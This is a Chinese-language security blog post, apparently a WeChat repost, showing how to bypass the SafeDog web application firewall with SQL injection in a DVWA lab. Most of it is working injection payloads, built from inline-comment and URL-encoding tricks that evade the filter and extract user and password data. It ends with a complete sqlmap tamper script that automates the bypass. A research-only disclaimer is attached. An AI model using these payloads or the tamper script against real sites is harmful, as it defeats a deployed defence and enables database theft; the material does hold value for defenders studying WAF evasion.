SQL注入过狗和temper编写

admin 2025年2月13日10:24:09评论7 views字数 2421阅读8分4秒阅读模式

环境:Apache+PHP+MySQL+安全狗V4.0(默认配置)

SQL注入过狗和temper编写

Dvwa靶场环境直接开始测试。

id=1+or+1#简单的探测一下,被拦截。

SQL注入过狗和temper编写

id=1+||+1#使用同义替换的思路,用||替换or,被拦截。

SQL注入过狗和temper编写

id=1/*!or*/1#使用内联注释,被拦截。

/*! MySQL-specific code */

/*MySQL服务器识别以下语句中的 STRAIGHT_JOIN 关键字,但其他服务器不会。*/

SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHERE ...

/*如果在!之后添加版本号字符,注释中的语法只有在 MySQL 版本大于或等于该版本号字符时才会执行。*/

CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */;

SQL注入过狗和temper编写

id=1#%0a/*!or*/#%0a1 注释加换行,被拦截。

SQL注入过狗和temper编写

于是就想着在内联注释里面再加上一段注释。

id=1#%0a/*!or/*111111111111*/*/#%0a1

被拦截。

SQL注入过狗和temper编写

于是又想到,内联注释里面插入特殊的注释是不是可以绕过安全狗的正则呢。

生成大量特殊注释进行Fuzz。

SQL报错:

SQL注入过狗和temper编写

被拦截:

SQL注入过狗和temper编写

成功Fuzz:

SQL注入过狗和temper编写

id=1#%0a/*!or/*////!*/*/#%0a1

被拦截。

SQL注入过狗和temper编写

URL编码一下。

id=1#%0a/*!or/*%2f%2f%2f%2f%21%2a%2f*/#%0a1

SQL注入过狗和temper编写

Fuzz出来的特殊注释可以使用后,开始注数据,基操不做赘述。

id=1#%0a/*!order/*%2f%2f%2f%2f%21%2a%2f*/#%0aby+3

SQL注入过狗和temper编写

id=1#%0a/*!order/*%2f%2f%2f%2f%21%2a%2f*/#%0aby+2

SQL注入过狗和temper编写

id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+1111,2222

SQL注入过狗和temper编写

id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+user(),2222

这里被拦截了。

SQL注入过狗和temper编写

id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+user/**/(),2222

MySQL函数名与左括号中间是可以插入内容的,不影响函数正常执行。

SQL注入过狗和temper编写

id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+database/**/(),2222

SQL注入过狗和temper编写

id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+table_name,2222+from+information_schema.tables+where+table_schema='dvwa'

被拦截。

SQL注入过狗和temper编写

在敏感的关键字前后插入我们的特殊注释进行绕过。

id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+table_name,2222+/*////!*/from+information_schema.tables+where+table_schema='dvwa'

SQL注入过狗和temper编写

id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+column_name,2222+/*////!*/from+information_schema.columns+where+table_schema='dvwa'+and+table_name='users'

被拦截。

SQL注入过狗和temper编写

id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+column_name,2222+/*////!*/from+information_schema.columns+where+table_schema='dvwa'+and+/*////!*/table_name='users'

SQL注入过狗和temper编写

id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+user,password+/*////!*/from+users

SQL注入过狗和temper编写

基于上面的绕过方法,temper编写其实也很简单。思路就是替换关键字,用特殊注释/////!/绕过。

import re
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
   pass

def tamper(payload, **kwargs):
   if payload:
       payload = re.sub(r"CONCAT", "/*!CONCaT/*////!*/*/", payload)
       payload = re.sub(r"SELECT", "/*!SElECT/*////!*/*/", payload)
       payload = re.sub(r"ORDER", "/*!ORDER/*////!*/*/", payload)
       payload = re.sub(r"UNION", "/*!UNION/*////!*/*/", payload)

   return payload

在测试tamper的时候发现一个很有意思的事,在安全狗默认配置的情况下sqlmap不做任何配置可以成功跑出注入点,但是跑不出数据,利用sqlmap进行fuzz或许也可行。

SQL注入过狗和temper编写

--tamper=safedog.py加上我们的tamper,可以看到sqlmap正在跑数据了。

SQL注入过狗和temper编写

如果说安全狗进行合理的配置后,绕过还是比较费劲的。比如说检测了information_schema就没法注数据了,但是高版本MySQL又可以用sys库、mysql库绕过,这也就是一个对抗的过程了。。。

原文始发于微信公众号(雁行安全团队):SQL注入过狗和temper编写

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日10:24:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入过狗和temper编写https://cn-sec.com/archives/1072918.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息